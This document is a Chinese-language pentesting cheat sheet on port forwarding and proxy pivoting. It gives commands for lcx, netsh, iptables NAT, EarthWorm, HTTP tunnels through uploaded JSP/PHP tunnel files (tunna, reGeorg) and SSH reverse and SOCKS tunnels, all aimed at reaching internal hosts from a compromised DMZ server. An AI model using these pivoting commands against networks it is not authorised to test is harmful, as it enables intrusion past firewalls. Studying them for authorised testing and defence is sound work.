端口转发&&边界代理
此类工具很多,测试一两个经典的。
端口转发 1、windows lcx
监听1234端口,转发数据到2333端口
本地:lcx.exe -listen 1234 2333
将目标的3389转发到本地的1234端口
远程:lcx.exe -slave ip 1234 127.0.0.1 3389
netsh 只支持tcp协议
添加转发规则
netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389
此工具适用于,有一台双网卡服务器,你可以通过它进行内网通信,比如这个,你连接192.168.206.101:3388端口是连接到100上面的3389
删除转发规则
netsh interface portproxy delete v4tov4 listenport=9090
查看现有规则
netsh interface portproxy show all
xp需要安装ipv6
netsh interface ipv6 install
更加详细参考:http://aofengblog.blog.163.com/blog/static/631702120148573851740/
监听1234端口,转发数据到2333端口
本地:./portmap -m 2 -p1 1234 -p2 2333
将目标的3389转发到本地的1234端口
./portmap -m 1 -p1 3389 -h2 ip -p2 1234
iptables
1、编辑配置文件/etc/sysctl.conf的net.ipv4.ip_forward = 1
2、关闭服务
service iptables stop
3、配置规则
需要访问的内网地址:192.168.206.101
内网边界web服务器:192.168.206.129
iptables -t nat -A PREROUTING --dst 192.168.206.129 -p tcp --dport 3389 -j DNAT --to-destination 192.168.206.101:3389
iptables -t nat -A POSTROUTING --dst 192.168.206.101 -p tcp --dport 3389 -j SNAT --to-source 192.168.206.129
4、保存&&重启服务
service iptables save && service iptables start
socket代理 xsocks
进行代理后,在windows下推荐使用Proxifier进行socket连接,规则自己定义
2、linux 进行代理后,推荐使用proxychains进行socket连接 kali下的配置文件: /etc/proxychains.conf 添加一条:socks5 127.0.0.1 8888
神器推荐
http://rootkiter.com/EarthWorm/ 跨平台+端口转发+socket代理结合体!darksn0w师傅的推荐。 ew_port_socket.zip
基于http的转发与socket代理(低权限下的渗透)
如果目标是在dmz里面,数据除了web其他出不来,便可以利用http进行 1、端口转发 tunna
>端口转发(将远程3389转发到本地1234)
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 3389 -v
>
>连接不能中断服务(比如ssh)
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 22 -v -s
>
>转发192.168.0.2的3389到本地
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -a 192.168.0.2 -r 3389
具体参考:http://drops.wooyun.org/tools/650
2、socks代理 reGeorg
python reGeorgSocksProxy.py -u http://192.168.206.101/tunnel.php -p 8081
ssh通道
http://staff.washington.edu/corey/fw/ssh-port-forwarding.html
1、端口转发
本地访问127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发
访问host:port2就是访问127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,监听本地port
可以将dmz_host的hostport端口转发到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类
2、socks
socket代理:
ssh -qTfnN -D port remotehost
参考redrain大牛的文章:http://drops.wooyun.org/tips/5234